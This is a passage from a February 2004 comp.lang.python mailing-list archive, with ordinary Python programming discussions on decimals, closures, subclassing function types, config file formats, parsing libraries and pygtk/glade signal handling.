with the METH_O calling convention?  The type is already created, I
cannot insert it into the tp_methods array anymore.

Something like this:

class X(object):
    pass

def func(cls, arg):
    ....

X.func = classmethod(func)

Thanks,

Thomas


From bokr at oz.net  Fri Feb  6 12:03:57 2004
From: bokr at oz.net (Bengt Richter)
Date: 6 Feb 2004 17:03:57 GMT
Subject: PEP 327: Decimal Data Type
References: <mailman.1168.1075811734.12720.python-list@python.org>
Message-ID: <c00hdt$hbv$0@216.39.172.122>

On Tue, 3 Feb 2004 09:33:26 -0300, "Batista, Facundo" <FBatista at uniFON.com.ar> wrote:

>cookedm wrote:
>
>#- What we need for this is an interval type. 1.80 m shouldn't be stored
>#- as '1.80', but as '1.80 +/- 0.005', and operations such as addition
>#- and multiplication should propogate the intervals.
>
>I think this kind of math is beyond a pure numeric data type. 1.80 is to be
>represented as a numeric data type. And also 0.005. 
>
>But '1.80 +/- 0.005' should be worked in another object. Hey! These are the
>benefits of OOP!
>
The key concern is _exactly_ representing the limits of an interval that is
_guaranteed to contain_ the exact value of interest. One hopes to represent
very narrow intervals, but the principle is the same irrespective of the available
computer states available to represent the end points.

E.g., integer intervals can reliably enclose 1.8 and 0.005
(with [1,2] and [0,1] respectively). Of course, [1,2] +- [0,1]
=> [0,3] gets you something less than useful for 1.8+-0.005

But choosing from available IEEE-754 floating point double states
gets you some really narrow intervals, where e.g. 1.8 can be guaranteed to
be in the closed interval including the two nearest available
exactly-representable floating point numers, namely

    [1.8000000000000000444089209850062616169452667236328125,
     1.79999999999999982236431605997495353221893310546875]

I'll leave it as an exercise to work out the exactly representable value
interval limits for 0.005 and 1.8+-0.005 ;-)

The _meaning_ of numbers that are guaranteed to fall into known exact intervals
in terms of representing measurements, measurement errors, statistics of the
errors, etc. is a separate matter from keeping track of exact intervals during
computation. These concerns should not be confused, IMO, though they inevitably
arise together in thinking about computing with real-life measurement values.

Regards,
Bengt Richter


From peter at engcorp.com  Wed Feb 25 11:36:28 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 25 Feb 2004 11:36:28 -0500
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
	<2c60a528.0402250300.17451bfe@posting.google.com>
	<Xns949A4A2BB5E01sdfexpertunecom@216.168.3.44>
Message-ID: <403CCF0C.693FBAE2@engcorp.com>

Scott F wrote:
> 
> and-google at doxdesk.com (Andrew Clover) wrote in
> news:2c60a528.0402250300.17451bfe at posting.google.com:
> 
> >
> > Note: you really want -
> >
> >    ...python.exe -u %s %s
> >
> > The -u ensures you get binary IO streams, which will become
> > significant if you are receiving file upload fields or returning a
> > non-textual response (ie. file download).
> >
> 
> Can you reference the documentation for the  -u  argument?

"python -h" will show you.


From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 17:39:38 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 09:29:38 +1050
Subject: Hi All, have a  question
References: <mailman.1490.1076534640.12720.python-list@python.org>
Message-ID: <slrnc2lcup.16j.bignose-hates-spam@rose.localdomain.fake>

On Wed, 11 Feb 2004 18:20:30 -0300, Batista, Facundo wrote:
> If yes, you can put "#!/usr/bin/env python" in the first line of the
> script.
>
> And remember, in either case, the second line *must* be blank.

Where did you get that?  That seems at odds with the ability to put the
character encoding specification on the first or second line.

    <http://www.python.org/peps/pep-0263.html>

-- 
 \         "I got up the other day, and everything in my apartment has |
  `\       been stolen and replaced with an exact replica."  -- Steven |
_o__)                                                           Wright |
Ben Finney <http://bignose.squidly.org/>


From ark at acm.org  Wed Feb 18 14:47:39 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 18 Feb 2004 19:47:39 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<KhKYb.15131$aH3.495341@bgtnsc04-news.ops.worldnet.att.net>
	<7xsmh8qq08.fsf@ruckus.brouhaha.com>
Message-ID: <vjPYb.16012$aH3.519874@bgtnsc04-news.ops.worldnet.att.net>

"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xsmh8qq08.fsf at ruckus.brouhaha.com...
> "Andrew Koenig" <ark at acm.org> writes:
> > Any loop that is currently written in the form
> >
> >     while True:
> >         <statements>
> >         if condition:
> >             break
> >         more statements
>
> If the loop is complicated enough, it's probably easier to just write
> it the way you've written it there.  If it's uncomplicated, there's
> probably a way to do it with iterators, assignment expressions, or
> whatever.  Got a real world example that really benefits from the new
> construction?

I think that reserving "break" for abnormal situations makes programs easier
to understand.  Therefore, I would like a way of saying that I expect the
normal exit (or exits) from the loop to be in the middle.  Whether you
consider this desire to be part of the real world is up to you.




From max at alcyone.com  Mon Feb 23 23:47:51 2004
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 23 Feb 2004 20:47:51 -0800
Subject: whitespace within a string
References: <c1e8st$7bn$1@solaris.cc.vt.edu>
Message-ID: <403AD777.5AB5545@alcyone.com>

Bart Nessux wrote:

> Is there a function/module that can be used to throw out extra
> whitespace
> that appears within a string? The problem that I have is this: Before
> any
> configuration is done to my files, they have lines with tabs in
> between the
> words like this:
> 
> "disable        =       yes"

If you realy want to collapse any whitespace at all into a single space
character, how about:

	' '.join(S.split())

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ One sword keeps the other in the sheath.
    -- George Herbert


From brian at sweetapp.com  Tue Feb 10 16:52:49 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 10 Feb 2004 13:52:49 -0800
Subject: package similar to XML::Simple
In-Reply-To: <40294D36.B0AEE3C4@engcorp.com>
Message-ID: <002801c3f020$3a322390$0000fea9@dell8200>

Peter Hansen wrote:
> Aren't we talking about semantics now, and rather tritely at that?  So
> don't call it an XML parser, yet.  Wait until it no longer emits that
> message, whatever you want.  I'd call that throwing out the baby with the
> bath-water, if it means (a) nobody reports that as a bug, and (b) someone
> who could benefit from it even with that defect fails to do so because
> it's illegal and immoral to label it an "XML parser", much as it might
> want to be one, until it's perfect.

I don't think that anyone is arguing against pyRXP per se; I'm sure it has
its niche among people working with certain XML subsets. 

We are arguing that the fact that pyRXP even has a concept of an 8-bit XML
character means that it is probably pretty far from being a real XML parser.

Cheers,
Brian  




From sandysj at juno.com  Tue Feb 17 19:40:14 2004
From: sandysj at juno.com (Jeff Sandys)
Date: Wed, 18 Feb 2004 00:40:14 GMT
Subject: rather broad question on data handling
References: <c0u34k$4ib$1@news.wss.yale.edu>
Message-ID: <4032B46E.8EC74C77@juno.com>

Similar question, different application.
Fantasy Football draft advisor on a zaurus, ~200 records (players),
~8 fields (attributes) each.  Do I make a list of objects or do I 
use pySQLite?  And why?

Donald Braman wrote:
> 
> I am wondering what the most efficient way to handle a rather small (about
> 1000 records) set of data would be. ...
> 
> How would you recommend managing the data: Objects? RDB? Some other way?


From edcjones at erols.com  Fri Feb 20 14:39:44 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Fri, 20 Feb 2004 14:39:44 -0500
Subject: Parsing library for Python?
In-Reply-To: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <40366383$0$3104$61fed72c@news.rcn.com>

Viktor Rosenfeld wrote:
> I need to create a parser for a Python project, and I'd like to use process
> kinda like lex/yacc.  I've looked at various parsing packages online, but
> didn't find anything useful for me:
> 
> - PyLR seems promising but is for Python 1.5
> - Yappy seems promising, but I couldn't get it to work.  It doesn't even
> compile the main example in it's documentation
> - mxTexttools is way complicated.  I'd like something that I can give a BNF
> grammar to handle.
> 
> Is there a good parsing module for python that I missed?

When looking for a parser generator, I think it is important that full 
grammars be provided for at least C and Python and preferably for C++, 
Java, and FORTRAN.


From mark.buch at ewetel.net  Thu Feb  5 10:05:08 2004
From: mark.buch at ewetel.net (Mark Buch)
Date: Thu, 5 Feb 2004 16:05:08 +0100
Subject: hide sourcecode
Message-ID: <bvtm5f$pgq$00$1@news.t-online.com>

Hi, is it possible to protect the python sourcecode?
I have a nice little script and i dont want to show everbody the source.

Im using python on a windows pc.

Thank you - Mark




From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb 24 00:35:50 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 24 Feb 2004 16:25:50 +1050
Subject: Bartok card game
References: <403ae161$0$4260$afc38c87@news.optusnet.com.au>
Message-ID: <slrnc3lpr5.19b.bignose-hates-spam@rose.localdomain.fake>

On Tue, 24 Feb 2004 16:30:28 +1100, Sam wrote:
> The tricky bit is, the winner of a round gets to make up a new rule.
> Some examples might be "when a club is played, skip the next player",
> or "when a heart is played, the next player draws 2 cards", etc. So, I
> am looking for a way to dynamically add rules to the game, without
> limiting the possibilities too harshly. I could always just give a
> select few rules to choose from, but then the game loses it's fun ;)

Surely there are some restrictions on the rules that can be added;
otherwise, the first person to win a round could add a rule saying "I
win" and win the game immediately; or a rule saying "The next person to
play a card must bark like a dog and give me their house keys".

Can you give a reference to the restrictions on rules that can be added?
That would allow a better understanding of the problem to be solved.

-- 
 \         "Democracy is the art of running the circus from the monkey |
  `\                                       cage."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From paul at prescod.net  Mon Feb  9 11:57:51 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 08:57:51 -0800
Subject: Reference gotcha
In-Reply-To: <c08dgc$14lpkb$1@ID-217427.news.uni-berlin.de>
References: <mailman.1370.1076341607.12720.python-list@python.org>
	<c08dgc$14lpkb$1@ID-217427.news.uni-berlin.de>
Message-ID: <4027BC0F.3040900@prescod.net>

anton muhin wrote:

> 
> Standard trick is to use single element list or just a small object with 
> integer field.

But why do that when "self." is already a small object with an integer 
field?

  Paul Prescod





From markus_wankusGETRIDOFALLCAPS at hotmail.com  Sun Feb 29 14:17:02 2004
From: markus_wankusGETRIDOFALLCAPS at hotmail.com (Markus Wankus)
Date: Sun, 29 Feb 2004 14:17:02 -0500
Subject: Limitations of 30 Day Eval?
Message-ID: <LUq0c.1368$i_2.9683@news20.bellglobal.com>

I am about to introduce my company to Solidworks.  What are the 
limitations of the 30 day evaluation copy?  I had planned on getting the 
eval from my VAR, then doing a very small prototype project in it to 
show them how cool Solidworks is.

Can I then re-use this work in the real version when I convince them 
(hopefully) to buy it?  Are there any limitations on the eval copy I 
should be aware of?  Can I open old models I created a couple of years 
ago in the eval version to show them some *real* models?

Thanks,
Markus.


From fpetermaas at netscape.net  Fri Feb 13 06:53:23 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Fri, 13 Feb 2004 12:53:23 +0100
Subject: YAML config file parser
In-Reply-To: <bOWdnbCO5OnWebbdRVn-ug@speakeasy.net>
References: <c0gk4t$111$1@swifty.westend.com>
	<bOWdnbCO5OnWebbdRVn-ug@speakeasy.net>
Message-ID: <c0idqv$laj$1@swifty.westend.com>

A.M. Kuchling wrote:
>>structures into the configuration. From the sysadmin's perspective this
>>is not so satisfactory: he would prefer a common configuration format
>>for his system. 
> 
> I don't believe that assertion. 

Belief is not debatable :)

 > We have whitespace-delimited files (cron,
> /etc/hosts), colon-delimited files (passwd, groups), files containing
> line-oriented commands (resolv.conf), ones grouped into subsections and ones
> that are flat, etc. and everyone manages to survive.

Easyness and fun is more than surviving. The files you mention
are linux system files. To create a unified config format for
linux/unix is a task that Python can't handle. I speak only of
application configurations.

> YAML also has the disadvantage of being a complicated format to learn 

YAML isn't as verbose as XML, good for editor users. Config files
should need only a YAML subset: strings, numbers, dates, lists,
dictionaries. This seems to be fairly easy.

 > it borrows features from Unix-style config files,
 > Python, XML, and RFC 2822, but it doesn't look like any of them

Which UNIX style? Anyway, it shouldn't look like Python because
Perl programmers and non-programmers should also be happy with it.

> A good feature of using Python for some applications is that you can then
> provide alternatives such as:
> 
> if socket.gethostname() == 'devel':
>     MAIL_EXCEPTIONS = False
>     LOG_LEVEL = 'debug'
> else:
>     MAIL_EXCEPTIONS = False
>     LOG_LEVEL = 'warn'
>     
> This is messier in a declarative format.

A configuration file should contain a set of mutually independent
variables describing the state of the installed application. This
is not messy. I see mixing of state and logic as a conceptual
disadvantage. It makes life easy for the programmer but not for
the users who sometimes happen to be non-programmers.

Knowing the source is mostly fine but *having* to know the source all
the time is not so fine. Not every language is as friendly as Python.

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From __peter__ at web.de  Wed Feb  4 13:46:28 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Feb 2004 19:46:28 +0100
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
Message-ID: <bvrem4$vrr$03$1@news.t-online.com>

Elaine Jackson wrote:

> I have some minor complaints about the Python language, and I'm interested
> to know how other people feel about them. Here they are:
> 
> 1) I find the following behavior puzzling and disappointing:
> 
>>>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
>>>> Y=dict(X)
>>>> Z=list(Y)
>>>> Z==X
> False
>>>> Z==Y.keys()
> True

I too would have expected iter(d) to generate the same list as d.iteritems()
instead of d.iterkeys(). However, for me this is not a problem in practice
as I tend to be explicit, e. g

Z = Y.items()

which is also a good reminder that I'm converting a dictionary.

> 
> 2) How come you can't write...
> 
> if y = f(x) > 3:
>     <do a bunch of things with x and y>
> 
> ...as an equivalent of...
> 
> y = f(x)
> if y > 3:
>     <do a bunch of things with x and y>
> 
> ...?

Too much C programming considered harmful. What is the advantage of the
first version over the second? Suppose you knew Python and wanted to learn
C, wouldn't you complain on comp.lang.c about the unnecessary complexity?

> That kind of syntax would be especially welcome in list comprehensions:
> 
> [f(x,y) for x in list if y=g(x)<=0]
> 
> If g(x) is a fairly complicated expression, and y occurs several times in
> f(x,y), considerable clarity could be gained.

Is the above list comprehension that frequent? Then how about

[f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]

With the arrival of generator expressions, some of the overhead (the
intermediate list) is bound to go away. In the mean time, there's still
that good old for loop, which IMHO is still the most readible solution if
things get really complicated.

Peter



From nid_oizo at yahoo.com_remove_the_  Fri Feb 20 18:03:30 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Fri, 20 Feb 2004 18:03:30 -0500
Subject: Perl 6: every concept known to computers is in there
In-Reply-To: <mailman.98.1077274295.27104.python-list@python.org>
References: <mailman.98.1077274295.27104.python-list@python.org>
Message-ID: <4nwZb.5135$Ks6.86187@nnrp1.uunet.ca>

Wayne Folta wrote:
> I usually like enormous languages, but it looks to me like there's so 
> much in v6 that language practitioners will separate into 
> mutually-incomprehensible dialects. For example, subroutine calls have 
> added 6 or 8 new symbols and feature every possible combination of 
> subroutine argument variants (positional, keyword, optional, mandatory, 
> variable-length, etc). Regular expressions have a class-like mechanism 
> for defining grammars. Regular expressions have been jerked all around 
> symbol-wise in what looks like a game of musical chairs.  (See refs at 
> end.)

I think gramar definitions is a big plus.  I program mainly in Python, 
but Perl is still my choice for heavy parsing.  The fact that regexp are 
now named rules is a fact that Perl6 is focusing on what Perl is doing 
better: parsing.  Personally, I would prefer Perl to Lex/Yacc.

> I'd love to see something like:
> 
>    def  "aa - bb":
>     return [a for a in aa if a not in bb]
> 
> (the body may or may not be correct, it's the def that I'm talking 
> about). This would handle infix, prefix, and suffix all with the same 
> notation. (Maybe even "circumfix" which I'd never heard used until I 
> read perl v6's docs.)

I prefer the statu quo.  It's an even more flexible syntax since you can 
do more that syntax overloading.  An how would you get a reference to 
that function without a name?

Regards,

Nicolas


From gerrit at nl.linux.org  Tue Feb 17 11:17:49 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Tue, 17 Feb 2004 17:17:49 +0100
Subject: Modifying builtin type behaviour
In-Reply-To: <56e1eff0.0402121015.2de0d427@posting.google.com>
References: <56e1eff0.0402121015.2de0d427@posting.google.com>
Message-ID: <20040217161749.GA6130@nl.linux.org>

Jean-S?bastien Bolduc wrote:
> I'm afraid this is a silly question, to which I know the answer
> already. But let me ask anyway...
> 
> In Python, is there a way to modify a builtin type's methods? for
> instance, modifying int.__add__ to behave as multiplication, I would
> obtain 2+5 == 10. I emphasize that I don't want to modify the Python
> source, but change the types behaviour _from within Python_.

Why?

> Help would be appreciated!

I'm almost sure it isn't possible...

Gerrit.

-- 
Weather in Twenthe, Netherlands 17/02 15:25 UTC:
	5.0??C light drizzle mostly cloudy wind 2.7 m/s WNW (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From simoninusa2001 at yahoo.co.uk  Fri Feb 20 17:34:36 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 20 Feb 2004 14:34:36 -0800
Subject: mcmillan installer web site
References: <YotZb.24730$4o.42623@attbi_s52>
Message-ID: <30260531.0402201434.2093cd5b@posting.google.com>

"bap" <no_spam at terastat.com> wrote:

> Is anyone else having problems accessing the Mcmillan installer web site
> (www.mcmillan-inc.com)? I get a no permission error message - so I don't
> know if my ISP is blocked or something is wrong with the web site.

Yeah, been down for weeks, nothing's been said about why, as far as I
know.

Wonder if GM would get pissed if somebody put a mirror up, the license
looks GPL?

*For now* I've got a zipped copy of the latest version at:

   http://www.the-jedi.co.uk/comps/downloads/installer_5b5_5.zip

I think I might also have one with an InstallShield for Windows
(although you can just unzip the other one).

I might put a Bittorrent up somewhere to save my bandwidth later.


From tjreedy at udel.edu  Tue Feb 10 14:41:17 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Feb 2004 14:41:17 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu><mailman.1398.1076388640.12720.python-list@python.org>
	<slrnc2i5ut.7jp.joe@gate.notcharles.ca>
Message-ID: <c0bc4t$iu0$1@sea.gmane.org>


"Joe Mason" <joe at notcharles.ca> wrote in message
news:slrnc2i5ut.7jp.joe at gate.notcharles.ca...
> In article <mailman.1398.1076388640.12720.python-list at python.org>, Terry
Reedy wrote:
> > Working correctly is most important.  Next is running fast enough.
Then
> > you can consider whether you or another person can read, edit, or reuse
six
> > months from now.  As for rewriting, would *you* gain some personal
benefit
> > from doing so?
>
> Not true.

I an not sure if programming philosophy is in the realm of true and false
;-)
I could be persuaded that points two and three might be reversed.

>I would say being able to read, edit and reuse is most
> important, then working correctly, then running fast enough.  Because
> there are always going to be bugs that you don't find for a few months,
> so even if you think it works correctly, you're probably wrong.

In a 100,000 line app, sure, there 'inevitably' will be behaviors less that
perfect.
But in the context of writing one page functions, I find this to be a
flabbergasting statement.  If the OP's example were to raise a syntax error
or other exception, or gather info about the wrong user, or gather
incorrect info, or email to the wrong address, or print instead of
emailing, then it would be useless and would need to be fixed now and not
months from now.

One can often expand the limits of 'correct' to include 'acceptible but
less than optimal' and maybe even 'occasional mysterious failure' (as with
Windows and Windows app crashes), but there are usually limits beyond which
one moves toward uselessness.

Terry J. Reedy






From michele.simionato at poste.it  Fri Feb 27 00:58:41 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 26 Feb 2004 21:58:41 -0800
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
Message-ID: <95aa1afa.0402262158.5b33de79@posting.google.com>

I have read with interest the recent thread about closures. The funny
thing is that the authors are arguing one against the other but I
actually agree with all of them and I have a proposal that may
be of some interest. To refresh your memory, I report here some 
quotation from that thread.

Jacek Generowicz:
 
> I sumbit to you that read-only closures are rare in Python because
> they are a recent addition to the language.
> 
> I submit to you that read-write closures are so much rarer still,
> because they require an ugly hack to work.

Paul Prescod:

> I disagree. Closures are rare in Python because Python is primarily an 
> OOP language.

Micheal Hudson:

> Using closures to fake objects sucks.

Jacek Generowicz:

> When I need "objects" I use objects, and when I need closures I want
> to be able to use closures.
> [...] I have some stateful methods of classes (which I create
> dynamically and stick onto the class as the information about the
> existence of the method becomes available). By implementing them as
> closures I can just stick them on to the class. If I were to implement
> them as instances then I'd have to reimplement all the descriptors
> that take care of turning functions into bound or unbound methods.
> 
> [At this point I'd love someone to step up and show me how to re-use
> the existing FunctionType descriptors in my own classes.]

> Another example. I make quite heavy use of a trivial memoizer. The
> closure verison is much shorter, clearer and faster. 

Paul Prescod:

> Before Python had nested scopes at all, it was VERY common to fake them 
> using a linguistic trick: default arguments. This idiom was very common 
> in Python's source base. Python didn't have a proper way to do the 
> nesting but people figured out how to do it anyway and did it a LOT. 
> (similarly people often emulate OO in C)

> The "wrap your mutables" feature is by comparison _much less intrusive_ 
> but I don't ever see it in real Python code. This suggests to me that 
> people don't need the feature that badly.

There is some merit on all those points of view. Speaking for myself,
I would certainly use more closures if they were better supported by 
the language. The fact that closures are read-only don't bothers me too 
much, since I also think that when you want write access to a closure 
you are really trying to fake an object, and you are better off using
a real object. On the other hand, I am really bothered by the scoping
rules. My first post on this mailing list some time ago was caused by
problems I had with the surprising scope rules. Take for instance
this example:

def make_adders(n):
    return [(lambda x: x+i) for i in range(n)]

add0,add1=make_adders(2)

print add0(0) #=> 1
print add1(0) #=> 1

This does not work as expected, and the solution is an ugly hack
with default arguments:

def make_adders(n):
    return [(lambda x,i=i: x+i) for i in range(n)]

add0,add1=make_adders(2)

print add0(0) #=> 0
print add1(0) #=> 1

I don't like that, but I don't think that the current scope rules
will change any soon. Alternatively, I can use a class:

class adder(object):
    def __init__(self,i):
        self.i=i
    def __call__(self,x):
        return x+self.i

def make_adders(n):
    return [adder(i) for i in range(n)]

add0,add1=make_adders(2)

print add0(0) #=> 0
print add1(0) #=> 1

However, this is not really a solution, since as Jacek pointed
out, to really fake a function I need to reimplement the
descriptor protocol and I cannot get it from FunctionType. 
I have experience with the examples he cites, memoizing 
functions and wrapping methods, and they are exactly the 
examples where I have used closures instead of callable objects.
OTOH, Paul Prescod is right and Python is primarily an 
OOP language, so I would prefer to use real objects over
closures.

What I think would help is the ability to subclass FunctionType.
I remember a thread of some time ago where Tim Peters said
that it is quite doable, simply nobody bothered to implement 
it yet.

At the moment, I can fake the built-in FunctionType with something like
that:

class function(object):
    def __init__(self,func):
        self.__func__=func
    def __call__(self,*args,**kw):
        return self.__func__(*args,**kw)
    def __get__(self,obj,cls=None):
        return self.__func__.__get__(obj,cls)

Then I can subclass "function" to implement any kind of wrapped functions.
For instance, to trace functions:

class traced_function(function):
    def __init__(self,func):
        def traced_func(*args,**kw): # using an handy closure ...
            print "Calling %s with arguments %s %s ..." % (func.__name__,args,kw)
            result=func(*args,**kw)
            print "Called %s with result %s" % (func.__name__,result)
            return result
        self.__func__=traced_func

Since "function" implements the descriptor protocol, I can wrap methods
for free:

class C(object):
    add1=traced_function(lambda self,x: x+1)

C().add1(1)

My previous example with the adder would read

class adder(function):
    def __init__(self,i):
        self.__func__=lambda x: x+i

I think this reads quite well. At the present, however, I cannot subclass
FunctionType and I am a bit disturbed by that, also because I can subclass 
the other built-ins types and there no reason why functions must be so
special: at they end they are just callable objects with a descriptor
protocol. So, I submit it as a feature request for Python 2.4.
Maybe, if enough people wants the feature, we may get it! 

        Michele Simionato


From josecarlos at siadv.com  Sun Feb  1 17:25:26 2004
From: josecarlos at siadv.com (José Carlos)
Date: Sun, 1 Feb 2004 23:25:26 +0100
Subject: Threading question
Message-ID: <bvjuck$pqo$1@nsnmrro2-gest.nuria.telefonica-data.net>

sorry.

I want assign a name to each thread.

I want when the server accept to client, the server add to  list the client
with a name, for example client1.

the name of thread will be the name assigned to each client.


----- Original Message -----
From: "Rene Pijlman" <reply.in.the.newsgroup at my.address.is.invalid>
Newsgroups: comp.lang.python
Sent: Sunday, February 01, 2004 11:09 PM
Subject: Re: Threading question


> Jos? Carlos:
> >How can i do for create a list which it obtain the name or number of
client
> >when it is  trying to connect with server. i want obtain this list for
use
> >it with threading
>
> I don't understand this question. How should who get a list of what from
> where, and why is this related to threading?
>
> --
> Ren? Pijlman







From ngps at netmemetic.com  Thu Feb  5 20:17:12 2004
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 6 Feb 2004 01:17:12 GMT
Subject: HTTPSConnection Problems
References: <bae2f23d.0402051435.5df63d83@posting.google.com>
Message-ID: <bvupuo$8ti$1@mawar.singnet.com.sg>

According to John Glista <jsplice at hotmail.com>:
> However, I'm having problems with the
> server I'm trying to connect to.  It is a Novell Bordermanager server
> that tunnels all Internet traffic here at my college.  When first
> accessing the web through mozilla, the Bordermanager server doesn't
> see you as being authenticated, so it redirects you to a web login
> page.  

Ho ho, a clone of the idiotic Cisco cut-thru proxy.

> Utlimately what I would like to do is have my python script
> submit the CGI form with my username and password so I don't have to
> type this in everytime.  However, I'm having problems using the
> HTTPSConnection class to connect to it.  If I don't give it a key and
> cert file i get the following error: socket.error: (104, 'Connection
> reset by peer')....so it appears the sever doesn't want  me to
> connect.  I did a port scan on the server to ensure that it was using
> the default https port, and it is.  

Who is the 'peer' here? It may be your Bordermanager proxy.

This is my guess: the Bordermanager sends an "authentication required"
response to your program and httplib is thus asking you for the cert and
key. Read the source, use a desktop proxy, etc. to determine if this is
indeed so.

> What I don't understand is why the
> HTTPSConnection is asking for a private key.  The private key resides
> on the server; clients do not have access to this.  

You're talking about the server's key and certificate. There are also
*client* keys and certificates: A server may demand a client produces a
certificate and demonstrates possession of the corresponding private key as
a means of authentication and authorisation.

My ZServerSSL, e.g., accepts client certificates in lieu of passwords for
authentication.


-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net -+- Firewall Change Management & Version Control
http://sandbox.rulemaker.net/ngps -+- Open Source Python Crypto & SSL


From tim.one at comcast.net  Tue Feb 10 18:24:05 2004
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 10 Feb 2004 18:24:05 -0500
Subject: Python.h problem->
	/usr/include/python2.2/longobject.h:48:warning: ISO C89 does
	not support `long long'
In-Reply-To: <20040210231435.GB15796@spawar.navy.mil>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEOOINAB.tim.one@comcast.net>

[seberino at spawar.navy.mil]
> I agree.  Perhaps I'm being "pedantic" :) but I was just
> curious if Python source is using stuff that is NOT ANSI C.
>
> Is "long long" an extension of ANSI C?

It depends on which ANSI C you're talking about.  "long long" in not part of
C89; it is part of the current ("C99") ANSI C standard.

> That Python uses?

Only on platforms that support "long long".  It's the expansion of the macro
PY_LONG_LONG.  For example, under Microsoft's compiler, that macro expands
to __int64 instead.




From wware at alum.mit.edu  Thu Feb 12 00:41:16 2004
From: wware at alum.mit.edu (Will Ware)
Date: Thu, 12 Feb 2004 00:41:16 -0500
Subject: glade/pygtk trouble on Red Hat 9
Message-ID: <402b11fc$0$3138$61fed72c@news.rcn.com>

In July there was a thread about problems on Red Hat 9 with PyGTK
not playing nice with Glade. I was tinkering with this a little bit
tonight, starting with the code I found in this article:
http://www.linuxjournal.com/article.php?sid=6586

Based on what was written, I tried this and had no joy:
######################################
import gtk
import gtk.glade
class BadGui:
     def __init__(self):
         gladefile = "project1.glade"
         windowname = "window1"
         self.wTree = tree = gtk.glade.XML(gladefile, windowname)
         d = { }
         for name in dir(self.__class__):
             d[name] = getattr(self, name)
         tree.signal_autoconnect(d)
         gtk.mainloop()
     def on_button1_clicked(self, *args):
         print "button 1 clicked"
         gtk.mainquit()
     def on_button2_clicked(self, *args):
         print "button 2 clicked"
     def on_window1_destroy(self, *args):
         print args
         gtk.mainquit()
BadGui()
###################################

After some puttering, I came up with the following, which
works just fine:
########################################
import gtk
import gtk.glade
class GoodGui:
     def __init__(self):
         gladefile = "project1.glade"
         windowname = "window1"
         self.wTree = tree = gtk.glade.XML(gladefile, windowname)
         for name in dir(self.__class__):
             if name.startswith("on_"):
                 widgetname = name.split("_")[1]
                 widget = tree.get_widget(widgetname)
                 action = name[4 + len(widgetname):]
                 widget.connect(action, getattr(self, name))
         gtk.mainloop()
     def on_button1_clicked(self, *args):
         print "button 1 clicked"
         gtk.mainquit()
     def on_button2_clicked(self, *args):
         print "button 2 clicked"
     def on_window1_destroy(self, *args):
         print args
         gtk.mainquit()
GoodGui()
########################################

As far as I can tell, there seems to be a problem with
signal_autoconnect, either how it's implemented in libglade
or how it gets connected to Python. Anyway, I'm passing this
along for any who might find it helpful.



From ml71 at katamail.com  Wed Feb 18 15:42:11 2004
From: ml71 at katamail.com (DrPike)
Date: 18 Feb 2004 12:42:11 -0800
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa
	casuale ??
References: <2ca51434.0402171108.1cdbecb6@posting.google.com>
	<c0v5mt$1cg437$1@ID-207825.news.uni-berlin.de>
Message-ID: <2ca51434.0402181242.4076ffd@posting.google.com>

> ti conviene postare in inglese, o in italiano su it.comp.lang.python
> 
> ciao

Hai ragione, e' che sono un po' pinato! Ho postato qui per errore, ma ormai
era troppo tardi...

Grazie!
DrP


From pete at shinners.org  Wed Feb 18 11:03:29 2004
From: pete at shinners.org (Pete Shinners)
Date: Wed, 18 Feb 2004 08:03:29 -0800
Subject: New SolarWolf, 1.5
In-Reply-To: <dct8g1-7t.ln1@ID-66900.news.dfncis.de>
